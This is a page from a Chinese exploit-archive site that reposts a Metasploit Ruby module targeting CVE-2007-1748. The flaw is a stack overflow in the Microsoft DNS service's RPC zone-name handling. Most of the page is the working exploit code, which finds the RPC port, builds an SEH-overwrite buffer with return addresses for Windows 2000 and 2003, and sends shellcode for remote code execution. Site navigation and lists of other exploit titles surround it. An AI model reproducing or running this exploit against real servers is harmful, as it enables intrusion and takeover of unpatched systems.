首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Windows DNS RPC Remote Code Execution Vulnerability
来源:www.vfocus.net 作者:hdm 发布时间:2007-04-16  
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remote

	include Exploit::Remote::DCERPC
	include Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Microsoft DNS RPC Service extractQuotedChar() Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in the RPC interface
			of the Microsoft DNS service. The vulnerability is triggered when
			a long zone name is supplied that contains escaped characters. This
			exploit will NOT work on Windows 2003 SP1 or SP2 if hardware DEP is
			enabled.
				
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision
, 'References' => [ ['CVE', '2007-1748'], ['URL', 'http://www.microsoft.com/technet/security/advisory/935964.mspx'] ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Payload' => { 'Space' => 1024, # The payload doesn't matter, but make_nops() uses these too 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 SP0-SP4 / Windows 2003 SP0-SP2 English', { 'Addresses' => # Offsets must not overlap -4 or +9 [ [ 1213, 0x75022ac4 ], # Windows 2000 SP0-SP4 ws2help.dll [ 1593, 0x7ffc0960 ], # Windows 2003 SP0 ??? (unreliable?) [ 1633, 0x76a81a60 ], # Windows 2003 SP1-SP2 atl.dll ] } ], # WS2HELP.DLL [ 'Windows 2000 Server SP0-SP4+ English', { 'Off' => 1213, 'Ret' => 0x75022ac4 } ], # Unknown, probably unreliable [ 'Windows 2003 Server SP0 English', { 'Off' => 1593, 'Ret' => 0x7ffc0960 } ], # ATL.DLL (no SafeSEH) (still blocked by hardware DEP) [ 'Windows 2003 Server SP1-SP2 English', { 'Off' => 1633, 'Ret' => 0x76a81a60 } ], ], 'DisclosureDate' => 'Apr 13 2007' )) register_options( [ Opt::RPORT(0) ], self.class) end def exploit # Ask the endpoint mapper to locate the port for us dport = datastore['RPORT'].to_i if (dport == 0) dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp') if (not dport) print_status("Could not determine the RPC port used by the Microsoft DNS Server") return end print_status("Discovered Microsoft DNS Server RPC service on port #{dport}") end # Connect to the high RPC port connect(true, { 'RPORT' => dport }) print_status("Trying target #{target.name}...") # Bind to the service handle = dcerpc_handle('50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp', [datastore['RPORT']]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") # Create our buffer with our shellcode first txt = Rex::Text.rand_text_alphanumeric(8192) txt[0, payload.encoded.length] = payload.encoded # Handle multi-return targets if (target['Addresses']) target['Addresses'].each do |ent| off, ret = ent txt[ off ] = [ret].pack('V') txt[ off - 4, 2] = "\xeb\x06" txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V') end # Handle single-return targets else off = target['Off'] txt[ off ] = [target.ret].pack('V') txt[ off - 4, 2] = "\xeb\x06" txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V') end req = '' # Convert the string to escaped octal txt.unpack('C*').each do |c| req << "\\" req << c.to_s(8) end # Build the RPC stub data stubdata = NDR.long(rand(0xffffffff)) + NDR.wstring(Rex::Text.rand_text_alpha(1) + "\x00\x00") + NDR.long(rand(0xffffffff)) + NDR.string(req + "\x00") + NDR.long(rand(0xffffffff)) + NDR.string(Rex::Text.rand_text_alpha(1) + "\x00") print_status('Sending exploit...') begin response = dcerpc.call(1, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0]) end rescue ::Exception => e print_status("Error: #{e}") end handler disconnect end end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Aircrack-ng 0.7 (specially cra
·NMDeluxe 1.0.1 (footer.php tem
·MyBulletinBoard (MyBB) <= 1.2.
·XAMPP for Windows <= 1.6.0a ms
·mxBB Module MX Shotcast 1.0 RC
·Papoo <= 3.02 (kontakt menuid)
·Sami HTTP Server 2.0.1 POST Re
·MS Windows DNS RPC Remote Buff
·PunBB <= 1.2.14 Remote Code Ex
·MS Windows DNS DnssrvQuery Rem
·MiniWebsvr 0.0.7 Remote Direct
·InoutMailingListManager <= 3.1
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved